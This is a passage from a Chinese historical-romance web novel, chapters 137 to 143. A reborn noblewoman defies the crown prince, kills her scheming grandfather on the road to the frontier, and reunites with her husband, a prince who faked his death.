深吸口气,秦时月努力平复心情,然后低声道:“感激殿下厚爱,王爷死的蹊跷,臣女若此时答应殿下,如何对得起王爷的在天之灵?臣女又如何面对外界的流言蜚语?” 宋砚辞见她油盐不进,脸色彻底沉了下来。 他眯起眼睛,语气中透出一丝威胁,“时月,你莫要敬酒不吃吃罚酒。本宫今日既敢来,便不怕你会拒绝。你以为凭你一人之力,能反抗得了本宫?” 秦时月抬起头,目光直视宋砚辞,毫不畏惧,“殿下,臣女一介女子,所倚仗的不过是未来夫婿,若殿下真对时月有情,就不该阻止时月,待时月为王爷查明真相,也可安心改嫁。可若是现在,殿下非要以权势逼迫臣女,臣女便是死,也不会动摇。” 此话一出,院中的气氛瞬间降至冰点。 就在此时,长乐侯夫人在嬷嬷的搀扶下走进了揽月园。 她朝着宋砚辞福福身子,然后站到了秦时月面前,“时月,莫要使小性子,殿下能看上你,那是你的福气。” 秦时月心中冷笑,面上却不动声色。 她没想到,侯府中人这么快就坐不住了,为了巩固侯府在太子朝堂上的地位,竟然这般无耻。 不过也对,上一世,她已经领教过了。 “母亲说笑了,王爷尸骨未寒,女儿实在难以接受任何人。”秦时月语气平静,眼神却坚定无比。 长乐侯夫人脸色微变,显然没料到秦时月会如此不识抬举。 她本以为凭借太子的权势和自己的威严,能轻松让她就范,可现在看来…… 宋砚辞见状,眉头紧皱。 他没想到就连长乐侯夫人的话也劝不动她。 他的耐心逐渐被消磨殆尽,眼中闪过一丝狠厉。 不能为他所用,留着也无用! “时月,你莫要执迷不悟。本宫今日既来了,便不会空手而归,你最好乖乖……” “殿下若执意如此,那便带臣女的尸首回去吧。”秦时月闭上眼仰起头,眼尾有一颗晶莹剔透的泪珠滑下。 此言一出,众人皆惊。 长乐侯夫人脸色铁青,没想到秦时月会以死相逼。 眼看宋砚辞的脸色已经阴沉的快要滴出水,为了侯府,不等他发难,她扑通一声跪在了宋砚辞面前,“殿下,时月是臣妇的孩子,这孩子的脾性臣妇最了解,您放心,臣妇会好好劝她,这孩子会想通的。” 该死的秦时月,她这是要拉全家陪葬啊! 宋砚辞脸色阴沉,显然并不想就这么罢手,可边关战事吃紧,皇帝那边命他即刻启程,再耽误下去,贻误了军情,他的下场不会比宋墨辰好到哪去。 第138章 彻底翻脸? 想到这,宋砚辞冷哼一声,甩袖离开。 一边往外走,一边背对着秦时月道:“本宫就给你一个月的时间好好想清楚,若一个月后你仍执迷不悟,就别怪本宫无情!” 他的声音冰冷刺骨,带着不容置疑的威压。 这一刻,他才是生于无情帝王家的储君! 秦时月没有回答,只是站在原地,冷冷看着他的背影消失在门外。 她比任何时候都清楚,宋砚辞绝不会轻易放过她。 可所有人都看错了,她,早不是上一世那个任人摆布的棋子了,她是秦时月,是拥有敢于玉石俱焚勇气的秦时月! 不过,她不想死,她要活,要好好活着,凌驾于所有人之上的活着! 秦时月眸光发狠,拳头也不自觉的攥了起来。 想活着,就要有权利,现在她还不够强大,她必须在最短的时间内强大起来。 在这个权力世界,弱者,永远没有发言权! 长乐侯夫人见宋砚辞离开,立刻起身冲到秦时月面前,抬手就要扇她,“你疯了吗!?竟敢当面顶撞太子!你可知道,这是在拿整个侯府的命脉开玩笑!” 秦时月冷冷注视着她,略一抬手,一道冷光闪过,长乐侯夫人顿时觉得手上无力,一扭头,就看到手腕处扎着一根银针,手耷拉在半空,竟是半点力道也使不上。 “母亲何必如此激动?”秦时月淡淡一笑,笑意不达眼底,“母亲可别怪我,我也是为了你好。太子殿下不是说了嘛,心悦于我。你这手若是落在我的脸上,我将来成了太子妃,你这只手,就要被砍啦。” 长乐侯夫人一愣,随即脸色大变,“你……你在欲擒故纵!?” 贱人!秦时月果然是个小贱人! 她,她分明是想做太子妃的,为了吊足太子的胃口,她才故意说出那样的话。 一想到秦时月的心计,长乐侯夫人就忍不住往外冒冷汗。 如今可云刚进宫,还没博得陛下的宠爱,秦时月这边却勾搭上了太子。 皇帝固然是好,可他年老体弱,可云能不能怀上龙种,光耀门楣还不一定。 可秦时月这边则不同。 太子正值壮年,又是未来的国君。 即便秦时月一时半会怀不上孩子,日子久了,也定能生下个一儿半女保住她一生的荣耀。 到时候,她若是撺掇太子和陛下对立,可怎么办是好? 看着长乐侯夫人阴晴不定,慌乱不安的脸色,秦时月嘴角的笑意更浓了。 她就喜欢看他们胡乱猜忌,又拿她无可奈何的样子。 “小荷。”她低声唤道,不再理会长乐侯夫人。 小荷一直留意着这边的动静,听到喊声,立刻红着眼圈从耳房跑了过来,“小姐。” “送母亲出去,我累了。”说着,扭头看向长乐侯夫人,眼底没有半分敬意,“母亲还是不要让时月为难和不快的好,你之前看到过太子对我的维护,让他知道你让我不快,只怕你和侯府都落不的好处。” 她声音轻飘飘的没有半点力气,只是看向长乐侯夫人的眼神却刺痛了长乐侯夫人。 这番话,已经是明摆着警告了。 长乐侯夫人被气的浑身发抖,但此刻只能讪讪离开,毕竟,那人可是太子…… 房门被重重关上,秦时月眸光一冷,“小荷,帮我准备些东西,今晚我要离开。” “可是小姐,方才奴婢过来的时候发现,太子留了好些人,就守在外头……”小荷有些担忧。 她不怕死,只是怕死的没有价值。 若是能帮到小姐,就是死个千次万次,她也不会后退半步。 秦时月的唇角勾起一抹冷笑,“他以为派几个人就能困住我?他未免也太小看我了。” 不过,暂时不能引起太子和侯府众人的察觉,否则影响到他们后边的计划就不好了。 她从袖中取出一枚小巧的玉哨,轻轻吹响。 片刻之后,一道黑影悄无声息的出现在屋内,正是影风。 “小姐。”影风低垂眉眼,眼神锐利。 刚刚若不是担心自己随便动手会连累秦时月,他早冒险取宋砚辞的狗命了。 那等卑劣之人竟然敢觊觎王妃,千刀万剐也不为过! “可是要属下清理掉那些碍事的人?” “不用,你去找一个身形与我相似的暗卫,让他在院子里装做我的样子蒙混一段时间便可。” 她刚给长乐侯夫人立下下马威 ,短时间内她和秦怀瑾绝对不敢来招惹她。 再过几日,让假扮她的暗卫装作病倒,便是连院子都不用出了,想来,能蒙混些日子。 影风虽然不甘心,但也知道打草惊蛇的后果,他点头应下,身形一闪,消失在屋内。 “小姐……”小荷不是个傻的,秦时月刚才那番话意味着,她此次离京,不会带小荷。 “好小荷,此次你家小姐要去的是边关,如今那边情况不明,我不能带着你去冒险,你听话,在府里好好跟着另一个我,和肖嬷嬷、小青一起守好咱们的家。” 小荷双眼泛红,倔强的不让眼泪掉下来,“小姐放心,小荷虽然不聪明,但一定会守好侯府等小姐回来。” “傻瓜。”秦时月眼睛发酸,“侯府有什么要紧的?真要出事,你就和肖嬷嬷、小青去找长公主殿下,殿下看在我的面子上,一定会护你们周全。” 上一世,她们已经用实际行动证明过了,这一世,她怎么可能再让她们涉险? 小荷没有吱声,但坚定不移的眼神已经表明了她的心智。 而她并不知道,秦时月给她们留了几个暗卫,以备不时之需。 夜幕降临,安排好一切后,秦时月换上一身黑衣,趁着夜色悄然离开了侯府。 她轻功一般,在和影风汇合,接过他手里的骏马后,如风一般冲了出去,目的地,西郊基地。 此时,西郊外,一辆毫不起眼的马车早已等候多时。 看到秦时月和影风的身影出现,车夫压低帽檐,立刻迎了上去,“大小姐,一切准备妥当。” 他扭头扫了眼马车,别有用意道。 第139章 武正元? 车夫的声音有些稚嫩,但秦时月没时间多想,点点头,迅速转身上了马车。 进马车后,她慎重的敲了敲底板,没察觉到什么异响才安心。 这里边是她要给宋墨辰送的东西,若是被轻易查出来,他们的计划就会暴露,绝对不行! 马车在夜色中疾驰,朝着边关的方向驶去。 为了不节外生枝,一路走的都是狭窄小路。 车夫赶着马车,神色紧张,握着缰绳的手隐隐发白,生怕出现什么变故。 不过,他虽然年纪不大,可眼神沉稳,并不像这个年纪该有的。 秦时月坐在车厢内闭目养神,耳边是车轮碾过地面时的声音,倒是有点助眠的作用。 就在她昏昏欲睡的时候,马车后隐约传来一道道杂乱的马蹄声。 她猛的睁开眼,眸光微冷,随后掀开车帘一角向后看去,果然看到一道火光破夜色,映照出数匹快马,正朝他们这边而来。 “大小姐,看来咱们被盯上了!”车夫低声道,凝重的语气里带着几分紧张,“不过您放心,这条路我熟,他们一时半会儿追不上来。” 秦时月没有答话,只是将车帘放下,指尖轻敲膝盖。 她并不怕,她只是好奇,身后的追兵到底是追着他们来的,还是另有目的。 不过…… 她抬眸隔着车帘看向外边的车夫,心里升起一股好奇。 这车夫的声音听上去年岁不大,没想到能如此镇定,真是难得。 “你叫什么?” “……小人武正元。” “武正元?”秦时月怔愣一下,突然想起那个被她救治过的孩子,眼前亮了一下,“你可是老五的儿子?” “回小姐,正是。”车夫嘴角微勾,手上的鞭子扬的更使劲。 天啊,这真是个意外之喜。 不过随后,她又皱紧了眉头,“你父亲知道你今日跟我出来吗?” “知道,我父亲说,男儿有所为有所不为,大小姐给了我第二次生命,我就该为大小姐鞍前马后。” 秦时月眼神一柔,嘴角勾起一个微不可查的弧度,“你父亲说的对,放心,你既唤我一声小姐,我势必要护你周全。” 这孩子可是她从鬼门关好不容易捞回来的,她可不忍心见他受半点损伤。 武正元应了一声,随即加快了赶车的速度。 车厢内的秦时月时刻注意着车外的动静,在马蹄声接近的时候,嘴角微微勾起一抹冷笑。 那些人始终不远不近的跟着,看来就是为了她。 既然躲不过,不如停下来面对! “停车。” “大小姐,这太危险了。”武正元怔愣一下,下意识皱眉劝阻,“大小姐,请您相信我,只要过了前边的弯……” 他们人多势众,现在停下来就是送死。 只要有他在,他就不会让大小姐出事! “他们可伤不到你家小姐,听话,停车。”秦时月打断了他的话,语气温和却不容置疑。 武正元咬了咬牙,最终还是听从了秦时月的命令,将马车缓缓停下。 他跳下马车,握紧手中的马鞭,目光警惕的盯着逐渐逼近的来人。 尽管他的年纪不大,但他身上散发出的气势却丝毫不输那些久经沙场的人。 秦时月掀开车帘,从容不迫的走下马车。 她站在夜色中,眼神冰冷,身上的黑衣和夜色几乎融为一体。 看着对方的身影越来越清晰,她轻轻抬手,示意武正元退到一旁。 武正元虽然心里害怕,但还是固执的咬紧牙关摇了摇头。 追兵很快逼到跟前,马匹嘶鸣过后,为首的勒住缰绳,居高临下的看向秦时月,“老夫果然没有料错,辰王死在边关,你还是忍耐不住偷溜出了侯府,也不枉老夫派人盯了多日。” 秦时月挑挑眉,突然笑了,“倒是劳烦外祖父惦记了,就是不知道,外祖父此次追过来,可还有其他人知道?” 原来,街头跟踪她的,是卓家的人。 难怪白天她在宋砚辞的脸上没有看到半分心虚。 “对付你一个手无缚鸡之力的丫头,用得着动用其他人?”卓老爷子轻蔑的看着她,冷冷一笑。 他跟了一路,之所以没有在第一时间动手,为的就是要看看她身边到底有没有暗卫。 也不知是这丫头蠢,还是她怕打草惊蛇,她身边并没有高手保护。 不过这样也好,正好方便他行事! 秦时月笑的更甜了。 其他人不知道他的行踪啊。 这样的话,他死在这,别人也怀疑不到她头上咯。 卓老爷子话音刚落,秦时月便轻轻拍了拍手,仿佛在称赞他的自作聪明。 她缓缓向前迈了一步,神色不变的盯着卓老爷子,眼神像在看一个死人。 “外祖父还真是自信呢,可您有没有想过,你死我活的局面,死的可不一定是我?”秦时月的声音不大,却如同一道响雷,直接在卓老爷子耳边炸响。 他愣了一下,随即哈哈大笑起来,“小丫头,莫要逞口舌之快,今日老夫就让你知道知道厉害!” 她害的女儿、外孙过了不知多少窝囊日子,如今他就要为他们报仇,将秦时月这个不受控制的逆女斩于马下! 话音才落,他挥了挥手,身后的黑衣人立刻呈包围之势将秦时月和武正元围了起来。 “小姐,我,我牵制住他们,您快走!” 武正元从怀里掏出一把小巧的火铳,一脸紧张的盯着众人。 而秦时月却像是没看到危险一般,依旧站在那里纹丝不动,只是嘴角的笑意越来越浓。 卓老爷子的心里闪过一丝不安,但他没有放在心上。 在他看来,秦时月就是在扮猪吃老虎,虚张声势。 可就在为首的黑衣人逼到秦时月眼前的时候,突然“砰”的一声,黑衣人应声倒地。 秦时月唇角微扬,指尖闪过一丝寒光,竟是一枚细小的银针。 黑衣人倒地的一刹那,卓老爷子脸色骤变,眼底闪过一丝慌乱。 “你……”卓老爷子瞪大了眼睛,满脸不可置信。 秦时月冷笑一声,打断了他的话,“外祖父这是什么表情?您是不是忘了,我不仅是侯府小姐,还是个医者。医者,可是最懂得如何取人性命的哦。” 第140章 卓老爷子送命 她的声音从一开始的温婉恬静逐渐变的冰冷刺骨。 卓老爷子心中的不安越来越强烈,但事已至此,他不可能放秦时月离开,一旦她活着逃走,自己一世英名就会毁于一旦。 他眼神一沉,挥手示意剩下的黑衣人继续进攻,心里忍不住期望秦时月孤立无援,除了那些银针,再没有后招。 然而,那些黑衣人刚迈出一步,便纷纷停住了脚步,脸色惨白的捂住了他们的脖子。 直到死前的这一刻,他们才发现一个恐怖的事,秦时月,并不是手无缚鸡之力的闺中女子…… “这……这是怎么回事?”卓老爷子声音发颤,身下的马匹也因浓烈的血腥味而被吓的抬腿嘶鸣、连连后退。 秦时月没有回答,只是淡淡的朝武正元笑了笑。 武正元眨巴一下眼,不自觉吞了口唾沫。 刚刚,就着皎白月光,他看到了。 他看到秦时月手执一把薄如蝉翼的银色匕首,在众人逼近时寒光一闪,瞬间割断了众人脖颈处的大动脉…… 卓老爷子被这骇然的一幕吓的冷汗直冒,他终于意识到,眼前这个看似柔弱的外孙女,远比他想象中更加可怕,甚至到现在他都不明白那些人是怎么死的。 “外祖父,现在想逃,是不是已经晚了?不过您放心,咱们好歹血脉相连,我会好好替您照顾卓家,照顾母亲和兄长的。” 秦时月轻声说道,语气中却透着一股令人不寒而栗的杀意。 话音未落,她的身影便如鬼魅般闪至卓老爷子的马前,手中银光一闪,马的一双前蹄瞬间飙血,悲惨的嘶鸣声不断。 卓老爷子猝不及防,从马背上摔了下来,整个人披头散发的,狼狈不堪。 他惊恐的看着如杀神般逼近的秦时月,往日的威严荡然无存。 秦时月居高临下的看着他,就像在看一个微不足道的蝼蚁。 “外祖父,您不是要教训我这个逆女吗?现在怎么不说话了?” 卓老爷子想要爬起来逃跑,可秦时月怎么可能给他这个机会? 她一脚踩在卓老爷子的胸口,迫使他仰面躺在地上,声音冰冷又残忍,“您放心,我会留您一个全尸,但不会有人认出来您。” 说罢,她手中银光一闪,卓老爷子发出一声凄厉的惨叫,喉咙深处汩汩两声喷出一口鲜血,随后便没了声息。 秦时月表情淡然的用匕首将他的脸划烂,然后拍了拍手。 此时的武正元脸色苍白,身体止不住的轻颤。 她努力放轻声音,平静问到,“怕吗?” 这孩子被老五捧在手心多年,又患病多年,想来从未见过这样血腥的一幕。 “不,不怕。” 武正元郑重的摇摇头,咬牙道。 他虽然亲眼目睹了秦时月的狠辣,但他心里清楚,没有秦时月就没有如今的他,所以,她做什么,他都不怕,他只怕她看不上他,赶他走…… 秦时月轻笑着拍拍他的肩膀,道:“好孩子,习惯就好了。” 他既然选择跟在自己身边,就断然没有不接触这些的。 她能做的,就只有尽可能护着他一些。 “好了,时间不早了,上车赶路吧。”秦时月翻身上车,道。 “大小姐,那这些人……” “不用管,不会有人知道是咱们做的。” “秦时月”此时就在长乐侯府,即便有人怀疑到她头上,也拿不出任何证据。 况且,秦时月在所有人的眼里,都是一个样子——手无缚鸡之力的闺中女子。 武正元似懂非懂的点点头,不再多言。 他虽年纪不大,但翻身上车的动作极为利落,显然这段时间经过了一定的训练。 马车跑了一天一夜,二人换乘后,又继续赶路,足足三天,两人才看到黄沙滚滚的边关城墙。 “小姐,到了。”武正元看着连绵起伏的山峦和高耸的城墙,心中涌起一股难以言喻的激动情绪,“您要找的人……真的在这里吗?” 秦时月跨坐在烈马上,目光深邃,“在,一定在。” 她轻声答道,语气笃定。 宋墨辰并没有在信中提到他藏在何处,但她相信,他一定不会离开这里,因为这里是他守卫多年的地方,他不会真的放认那些蛮夷入侵靖垣王朝! 武正元没有再问,只是默默点点头,拉扯缰绳,驾马,随着秦时月入城。 此时天色已近黄昏,街道两旁的行人寥寥无几,夕阳的余晖洒在黄沙之上,映出一片金色光芒。 近来边关并不平静,所以街道上随处可见巡逻的士兵。 早在进城前,秦时月就换上了一套粗布麻衣,扮成了一个行商的公子,武正元扮成随从的样子紧随其后。 “小……公子,我前边就是客栈,小人去看看。” “好,记住,小心行事,莫要引起太多人注意。”秦时月眼神凌厉,里边隐隐透出一股警惕。 不知为何,一进城,她就觉得有双视线一直追随在她身上。 是宋墨辰的人,还是……宋砚辞的人? 武正元离开后,秦时月翻身下马,一手拉着缰绳,一手轻抚腰间匕首的刀柄。 街道上的行人虽少,却总有一些看似普通的人多看她几眼。 这种微妙的感觉让她更加确定,他们,已经被盯上了。 片刻后,武正元从客栈里折返回来,低声道:“公子,房间已经订好,不过……”他顿了顿,声音压得更低,“客栈里有几个形迹可疑的人,看起来不像普通的住客。” 秦时月微微眯起眼睛,嘴角勾起一抹冷笑,“走吧,去看看。” 是黑店,还是敌人,只有进个门住下,才能弄清楚。 两人牵着马进了客栈,店小二热情的迎上来,主动牵过马匹。 客栈大堂内的人不多,个别桌子上还带着一层薄灰,最扎眼的,要数角落里坐着的几个汉子。 他们虽然一直在喝酒聊天,但眼神凶狠,时不时瞟向这边,显然别有用心。 秦时月将这一切看在眼里,带着武正元找了个背对着墙、靠窗的位置坐下。 第141章 被骚扰?不怕不怕 这样既可以清楚的将整个大堂的情况看在眼里,也能防止有人背后偷袭。 秦时月端起茶杯轻轻抿了一口,随后低声吩咐道:“你去附近看看,顺便打听一下最近有没有什么异常的事情发生。” 武正元点点头,转身离开。 他刚离开客栈,一个满身酒气的大汉摇摇晃晃的朝秦时月走了过来,嘴里不干不净的嘟囔着,“这位小公子眼生,刚来的?要不要一起喝两杯?” 秦时月抬起头,似笑非笑的扫了对方一眼,眼底透着让人胆寒的冷意。 那大汉被她的目光吓的愣了一下,反应过来呸了一声,随即脸色一沉,伸手就要去抓秦时月的衣领。 “敬酒不吃吃罚酒,老子给你脸了!” 边关正值战事,街上虽然巡逻的不少,但那些当兵的可没有闲工夫来管这些小事。 然而,他的手还没碰到秦时月,她已经迅速出手,纤细玉手轻松扣住了他的手腕,微微用力,就让大汉瞬间痛到脸色发白。 “放,放手!”大汉挣扎着想要挣脱开,可秦时月另一只手翻动一下,在不引起任何人注意的情况下,一根银针没入了他的腿弯处。 “看来你是喝多了,不认得人,小爷可不是好招惹的。”秦时月冷哼一声,手下稍稍用力,那大汉的脸色顿时涨的通红,连连点头求饶。 另外几个蠢蠢欲动的汉子见状,互相交换了一个眼神,强压下了要冲上去的冲动。 秦时月将这一幕看在眼里,冷笑一声松开了手,大汉一时不察,狼狈的倒退几步跌坐在地上。 好不容易爬起来,连滚带爬的逃回了同伴身边,此时他才觉得右腿似乎有些使不上劲。 他以为是刚才不小心撞到了桌子上,便没放在心上。 客栈内的气氛因这场闹剧变的紧张起来,原本安静的大堂此刻更是安静的落针可闻。 秦时月神色自若,端起茶杯继续饮茶,仿佛刚才的一切对她来说只是家常便饭。 没过多久,武正元折返回来。 他走到秦时月身旁,在她耳边低声说道:“公子,打听到了一些消息。最近边关确实有些不太平,除了城外不断有番邦人闹事,城中还有几拨人在频繁活动,不过,有一点很奇怪……” 秦时月放下茶杯,眉梢微挑,“哦?展开说说?” 武正元迷茫的眨眨眼,“说不上来, 京中都在传,边关战事焦灼,可小人观察,城中秩序井然,并没有传言中那般混乱。” 秦时月沉思片刻,嘴角勾起一抹意味深长的笑容,“这倒是有趣。” 就在此时,武正元也发现了角落里的那群汉子,发现他们正窃窃私语,时不时朝这边投来阴狠的目光,不由的咽口唾沫。 “公子,他们眼神不善,不如,咱们换家客栈吧?” “不必,就是几个莽夫,不足为惧。”秦时月淡然回应,面色没有半点变化。 这几个大汉看起来满脸横肉,眼神凶狠,但刚才一番试探,她基本能确定,他们就是群没有本事的普通人。 之所以聚集在这里,怕是想趁战乱抢劫一些过路客的钱财,只可惜,他们碰到了她。 就在秦时月不以为意,打算上楼去洗个热水澡休息休息的时候,客栈外传来一阵急促的马蹄声。 下一刻,一队身穿陈旧铠甲的士兵突然闯入客栈,为首的将领高声喊道:“所有人听着,奉命搜查可疑人员,请配合检查!” 秦时月表情平静,但是手已经摸到了腰间的匕首上。 她刚进客栈不久就有人来查,要说没问题,她是怎么也不信的。 为首的将领扫视一圈,视线最后落在秦时月身上,大手一挥,带着人走了过来。 “请出示身份证明。”将领的声音冰冷而强硬,目光如刀。 武正元动作倒是迅速,不等秦时月示意,早一步拿出了路引。 将领接过路引认真查看一番,沉声问到,“你们来边关所谓何事?” “做买卖。”秦时月不疾不徐,反问道:“将军觉得本公子像可疑人员?” 将领皱了皱眉,显然没料到这个看似文弱的年轻人竟敢主动发问。 他上下打量了秦时月一番,见她衣着普通、举止从容,并没什么异常之处,便将路引还了回去,“本将只是奉命检查,毕竟,坏人的脸上可不会写‘我是坏人’几个字。” 说完挥挥手,示意手下继续搜查其他客人。 就在士兵们分散开来的时候,角落里的几名汉子忽然站起来,脸色阴晴不定的盯着秦时月和武正元。 “大人,他们绝对不是来行商的!”其中一个汉子指着秦时月大声喊道:“刚才就是这个小白脸和我起了冲突,他下手狠戾,绝不是什么善茬!” 此话一出,整个客栈瞬间安静下来,所有人都紧张的看向秦时月。 为首的将领眯起眼,重新打量她一遍,语气冷硬的说道:“既然有人指认,那就请二位随我们回营一趟,协助调查。” 秦时月有些不耐,深吸口气慢悠悠的站起身。 拍了拍衣袖上的灰尘,用一种漫不经心的语调说道:“随你们回去调查倒是简单。不过,小爷很想知道,你们所谓的‘调查’究竟是怎么回事,小爷总不能不明不白的跟你们走吧,再者。” 她扭头看向看戏的几个大汉,冷笑一声,“方才是他们先动手招惹我的,若是调查,他们是不是也要一起去?” 将领被她的态度激的脸色铁青,立刻命令手下将二人包围,“” 就在此时,客栈外再次传来一阵马蹄声,紧接着,一道清朗的男声响起:“等等,将军且慢动手!” 话落,一个身着锦袍的中年男子大步走进客栈。 他的出现瞬间吸引了所有人的目光,包括秦时月。 男子面容带着几分市侩,眼神精明,身后跟着几个仆从,显然身份不一般。 “张老板?”将领眉头微拧,眼里浮现出一丝探究。 “哈哈,樊副将,这位是来自京城的秦公子,与小人有生意往来,还请将军放行,这些请弟兄们吃酒。” 第142章 再见老友 说着,张老板从袖袋中掏出一个荷包递了过去。 樊副将眉头一拧,“张老板的边关的名声如雷贯耳,但此时正值紧张时刻,张老板还是不要为难末将的好!” 秦时月冷眼旁观这一幕,心中有几分猜测。 她虽不清楚这张老板的来历,但看他行事圆滑、出手阔绰,显然不是普通商人。 让她好奇的是,他显然是认识自己的,只是,他是谁的人,是敌是友,还有待考量。 张老板没有被拒绝的尴尬,反而哈哈一笑,上前一步,“将军,实不相瞒,这位秦公子不仅与我有生意上的往来,更是京中贵人的亲信,若因这等小事得罪了他,恐怕对将军并无好处。此时战事将起,这些小事还是别麻烦将军的好。” 听到这话,樊副将的脸色微微一变,目光再次落在秦时月身上,眼里却多了一丝犹豫。 见状,张老板不动声色的将荷包塞进了他的手里。 樊副将沉吟片刻,挥手示意手下退开,转而抱拳道:“既然如此,那就麻烦张老板替本将担保。” “没问题,出了事,小人自然会替将军作证。” 樊副将没再多说什么,带头要收兵。 角落里的汉子们见状,立刻不干了,“将军,这人不对劲,您怎么不把他……” 此时的樊副将窝了一肚子火,听到声音,冷冷瞪了他们一眼,然后转身带着手下离开了。 待将士们走远,客栈内的气氛才稍稍缓和下来。 那几个汉子互相交换了一个眼神,脸色阴晴不定。 他们原想着他们惹不起秦时月,正好有官兵来搜查,借他们的手,怎么也能让这两个小白脸翻个大跟头,可现在…… 其中一个壮汉咬牙切齿的低声咒骂了一句,不服气的想冲上去,却被同伴及时拉住了胳膊。 “别冲动,那个张老板不是个好惹的,咱们先回去。” 说着,同伴率先离开,其他人紧随其后,接连离开了客栈。 张老板目送士兵和那些不相干的人离开后,转身看向秦时月,确定了对方的身份后,他立刻收起笑脸,拱手作揖。 “公子,这里不是说话的地,请随属下来。” 秦时月并未急着答应,而是先打量了张老板一番。 他对樊副将和自己的态度,以及提到“京中贵人”时微妙的语气,都让秦时月不得不提高警惕。 “我跟张老板并不相识,就这么跟你走,是不是不合适?”秦时月嘴角含笑,语气里带着试探。 张老板扫了眼周围,见没人注意这边,这才凑上去,借着桌面的掩护,将手里的东西递了过去。” 那是一枚特制的玄铁令牌,上边刻着一个显眼的“辰”字。 秦时月眸光微闪,脸色瞬息万变,“你是……” “公子,人多眼杂,请随属下来。”张老板迅速收起令牌,恭敬的等待秦时月的回答。 宋墨辰的信中并没有提过这样一号人物,所以秦时月心中仍有疑虑,但那枚令牌上的“辰”字让她无法忽视。 想要弄清楚其中的关系,只有跟上去。 “公子,这人可信吗?”眼看秦时月跟着张老板往外走去,武正元皱着眉头,低声在她耳边问道。 “不知道,但至少到现在为止,他还没表现出任何敌意。先跟上去看看,情势不对再说。” 秦时月语气平静,没有半分惧意。 张老板走在前面带路,脚步轻快,并不像一个普通的商人,倒像是有些底子在身上的。 他并没有直接带二人到哪,而是警惕的绕了几条街巷,确认没人跟踪后,才带着他们停在了一栋不起眼的院门前。 轻轻敲了三下门,房门被打开,一个满脸皱纹、头发花白的老者探出头来,见到张老板身后的秦时月,老者眼前一亮,立刻侧身让开。 “公子,请。”张老板态度恭敬的做了个请的手势。 在秦时月和武正元进门后,他却退后半步关上门,然后拐个弯,从另一边离开了。 小院里干净整洁,院子里摆放着一张木桌,桌上放着一套普通的陶土茶具。 老者示意二人坐下,然后亲自为他们斟了一杯热茶。 秦时月看着满脸沟壑的陌生脸庞,眼眶却微微泛红。 她强忍激动,对武正元道:“你去门口守着,盯紧门口的动静。” 武正元还没落座,愣了一下,呆呆的点了点头。 老者突然笑道:“时月果然是极聪明的。” 秦时月再也忍不住,泪水在眼眶里翻涌,“那也不及王爷,竟下了这样大一盘棋。” 她定定的看着眼前的老者,老人那双情感丰富的眸子,早出卖了他的真实身份。 宋墨辰突然伸手,在她的鼻头上刮了刮。 “边关情况复杂,你不该亲自来的。”他语调轻松,眼神里却是浓浓的心疼。 上次是江南,这次是边关。 她为了他,不知吃了多少苦…… “我来又不是全然为了你。”秦时月小脸微红,眼底浮现出一丝小女儿家才有的羞涩。 宋墨辰并没有点破,只是不住点头,“是是是,时月此来是有大事要做,既如此,小老儿愿为县主鞍前马后。” 秦时月瞪了他一眼,没好气的端起茶杯抿了一口,随即挑眉问道:“王爷是如何料到我会来边关的?” 宋墨辰宠溺一笑,目光悠然,“你性子倔强,又最重情义,听到我的死讯,我猜到你不会袖手旁观。” 所以,他才会让影风八百里加急,将那封信送了回去。 顿了顿,他又补充道:“更何况,边关到处是我的眼线,从你进城时起,我便得到了你的消息。” “原来如此,看来,我的行踪早被王爷掌握的一清二楚了。”她的语气虽带着几分嗔怪,但并无责备之意。 宋墨辰哈哈一笑,自得的道:“那是,你是我的王妃,无论你走到何处,都逃不过我的眼线!” “不过……”他话音刚落,神情立刻凝重起来。 “如今边关局势微妙,各方势力蠢蠢欲动,我不得不多加防范。你的到来,着实让我有些意外,我想过你会沉不住气,但没想到你会选择这样一条险路。” 第143章 时月也是天生将材 “若非如此,我又怎能亲眼看到王爷这番布局?”秦时月放下茶杯,目光灼灼的看着他,“我此来,为王爷带了些东西,虽然不多,但关键时刻应该能起到些作用。至于如何配合您行事,还请王爷直言。” “你还打趣我?” 一口一个王爷的,叫的他浑身不适。 秦时月轻笑一声,道了一声,“墨辰”。 她既已明白了自己的心意,便不会再扭扭捏捏的。 宋墨辰眸光柔软,眼底浮现出一丝温柔的笑意。 随后,他伸手从桌子下取出一幅卷轴摊开。 “这是……”秦时月凑近细看,眉头渐渐皱起。 “边关地形图,这些红点是敌军主力所在位置,这些黑线是他们可能的进攻路线。”他指着地图上的几个关键点解释,随后大手一指,“这几处已经被我安排了人手,一旦他们有所动作,他们便可以第一时间形成合围之势,将他们尽数拿下。” 秦时月紧盯地图,眼底闪过一丝震撼。 她知道他善于用兵,但没想到,他竟仅凭一张地图就将边关的形势分析得如此透彻,布置的天衣无缝。 可随后,她就看到了一个黑线交汇的地方保留了一块空隙。 她皱皱眉,指尖轻点那处问道:“这几处……是不是忘记派人驻守了?若是敌军从这里突袭,是不是能轻松破局?” 宋墨辰眸光微动,墨眸深处多了一丝宠溺的笑意,“不错,你是少有能看出这一点的人。我驻扎边关多年,比任何人都了解这里的地域,这里,是一片荒芜之地,不仅粮草补给难以维持,就连躲避的地方都没有。” “可战场上瞬息万变,谁又能保证敌人不会孤注一掷?”秦时月皱皱眉,并没有因为他的夸奖沾沾自喜。 “再者,这片荒芜之地虽然不利于敌军,但是也并非完全行不通。若我是敌方将领,无路可逃时,或许会选择这里为突破口。” 宋墨辰越听,眼里的欣赏之色越浓。 他从来不知道,一个闺阁女子,竟然懂这些。 若她是男二身,必然会成为一代名将! 见他不说话,秦时月皱皱眉,“你怎么不说话?可是我分析错了?” 她并非天生将材,而是这些布兵排阵的法子都是东方苑教的。 只是那样一位奇女子,她却不能将她的名讳公之于众…… 宋墨辰的嘴角勾起一抹笑意,“时月心思缜密,本王佩服。这里,本王其实也有部署,只是兵力不足,所以没派兵驻守。” “能告诉我是什么部署吗?”秦时月好奇问道。 “陷阱。” 她怔愣一下,瞬间福至心灵,明白了宋墨辰的用意。 原来,这是他故意留下了这片看似漏洞的区域,实则是做好了引敌深入的准备。 她虽然不知道他口中的陷阱是什么,但她相信,一旦有敌军进入这片区域,一定会被他杀的片甲不留! 秦时月挑眉看他,眼里多了一层她自己都没察觉到的仰慕,“我现在似乎才明白,为何百姓们会称你为战神了。” 宋墨辰呆了一下,有点不好意思的清了清嗓子。 “战神”二字他听了百遍千遍,可再多的称谓在他听来,都没有什么特殊的含义,唯有她。 她那一张一合的明艳红唇里吐出“战神”二字时,他就觉得浑身酥麻燥热,有种想不顾一切拥她入怀的冲动…… “宋墨辰,我进城时发现城中气氛怪异,你可注意到了?” 